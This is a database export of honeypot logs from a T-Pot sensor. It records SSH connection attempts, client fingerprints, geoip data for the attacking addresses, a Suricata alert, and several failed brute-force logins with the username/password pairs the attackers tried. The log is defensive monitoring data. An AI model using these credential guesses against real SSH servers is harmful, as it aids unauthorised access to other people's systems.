28269	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:17:00.864572+03	2021-09-20 14:30:02.609524+03	{"_id": "xgbsAnwBvYTbRNuEbi2t", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 55814, "dest_port": 22, "timestamp": "2021-09-20T11:17:00.864572", "@timestamp": "2021-09-20T11:17:00.864Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
28270	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:17:00.990641+03	2021-09-20 14:30:02.610524+03	{"_id": "xwbsAnwBvYTbRNuEby2G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/2164823977newpass] failed", "session": "b2e94fb53a46", "@version": "1", "password": "2164823977newpass", "username": "root", "timestamp": "2021-09-20T11:17:00.990641Z", "@timestamp": "2021-09-20T11:17:00.990Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
28271	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:17:02.256979+03	2021-09-20 14:30:02.611524+03	{"_id": "zAbsAnwBvYTbRNuEcy1v", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.session.closed", "message": "Connection lost after 5 seconds", "session": "b2e94fb53a46", "@version": "1", "duration": 5.502604007720947, "timestamp": "2021-09-20T11:17:02.256979Z", "@timestamp": "2021-09-20T11:17:02.256Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
28272	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:17:02.803549+03	2021-09-20 14:30:02.612524+03	{"_id": "zQbsAnwBvYTbRNuEcy1v", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [500/500] failed", "session": "91d871c49be4", "@version": "1", "password": "500", "username": "500", "timestamp": "2021-09-20T11:17:02.803549Z", "@timestamp": "2021-09-20T11:17:02.803Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
28273	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 14:16:48.37313+03	2021-09-20 14:30:02.614524+03	{"_id": "fAbsAnwBvYTbRNuEPC2z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "6ff31e874f87", "@version": "1", "duration": 3.461855411529541, "timestamp": "2021-09-20T11:16:48.373130Z", "@timestamp": "2021-09-20T11:16:48.373Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
28274	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:16:52.090374+03	2021-09-20 14:30:02.615524+03	{"_id": "lQbsAnwBvYTbRNuETC1X", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "77dbec76bcf1", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:16:52.090374Z", "@timestamp": "2021-09-20T11:16:52.090Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
28275	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:16:51.852961+03	2021-09-20 14:30:02.616523+03	{"_id": "kwbsAnwBvYTbRNuETC1X", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:7275 (192.168.176.2:22) [session: 77dbec76bcf1]", "session": "77dbec76bcf1", "@version": "1", "protocol": "ssh", "src_port": 7275, "dest_port": 22, "timestamp": "2021-09-20T11:16:51.852961Z", "@timestamp": "2021-09-20T11:16:51.852Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
28276	223.241.247.214	109.199.241.180	Suricata	2021-09-20 14:16:33.654511+03	2021-09-20 14:30:02.618523+03	{"_id": "DwbsAnwBvYTbRNuEAy3f", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:16:33.085744+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "223.241.247.214", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 781767490490096, "payload": "AAADzAYUr6vbjszabr2spq3IJIJp6QAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 56372, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:16:33.654511Z", "@timestamp": "2021-09-20T11:16:33.654Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "............n.....$.i....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
28277	223.241.247.214	109.199.241.180	Fatt	2021-09-20 14:16:33.654511+03	2021-09-20 14:30:02.619556+03	{"_id": "EAbsAnwBvYTbRNuEBS0k", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "223.241.247.214", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 56372, "dest_port": 22, "timestamp": "2021-09-20T11:16:33.654511", "@timestamp": "2021-09-20T11:16:33.654Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
28278	190.201.223.33	109.199.241.180	Cowrie	2021-09-20 14:16:35.20108+03	2021-09-20 14:30:02.620552+03	{"_id": "GwbsAnwBvYTbRNuECS3k", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "190.201.223.33", "asn": 8048, "as_org": "CANTV Servicios, Venezuela", "latitude": 8.0, "location": {"lat": 8.0, "lon": -66.0}, "timezone": "America/Caracas", "longitude": -66.0, "country_name": "Venezuela", "country_code2": "VE", "country_code3": "VE", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "190.201.223.33", "eventid": "cowrie.login.failed", "message": "login attempt [api/api123] failed", "session": "ddc5e22cd61c", "@version": "1", "password": "api123", "username": "api", "timestamp": "2021-09-20T11:16:35.201080Z", "@timestamp": "2021-09-20T11:16:35.201Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
28279	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:16:37.56795+03	2021-09-20 14:30:02.621553+03	{"_id": "NwbsAnwBvYTbRNuEFC3H", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "128.199.123.0", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 42700, "timestamp": "2021-09-20T11:16:37.567950", "@timestamp": "2021-09-20T11:16:37.567Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28280	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:16:37.604572+03	2021-09-20 14:30:02.623555+03	{"_id": "OAbsAnwBvYTbRNuEFC3H", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 34998, "timestamp": "2021-09-20T11:16:37.604572", "@timestamp": "2021-09-20T11:16:37.604Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
28281	128.199.123.0	109.199.241.180	Fatt	2021-09-20 14:16:37.7393+03	2021-09-20 14:30:02.624554+03	{"_id": "OQbsAnwBvYTbRNuEFC3H", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "128.199.123.0", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ssh-rsa,ssh-dss", "hassh": "51cba57125523ce4b9db67714a90bf6e", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1", "ceastc": "aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1", "client": "SSH-2.0-libssh-0.6.3", "cmacts": "hmac-sha1", "cmastc": "hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1;hmac-sha1;none"}, "protocol": "ssh", "src_port": 42700, "dest_port": 22, "timestamp": "2021-09-20T11:16:37.739300", "@timestamp": "2021-09-20T11:16:37.739Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
28282	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:16:33.368934+03	2021-09-20 14:30:02.625555+03	{"_id": "DQbsAnwBvYTbRNuEAi0T", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 223.241.247.214:56372 (192.168.176.2:22) [session: b05ac15b10b2]", "session": "b05ac15b10b2", "@version": "1", "protocol": "ssh", "src_port": 56372, "dest_port": 22, "timestamp": "2021-09-20T11:16:33.368934Z", "@timestamp": "2021-09-20T11:16:33.368Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
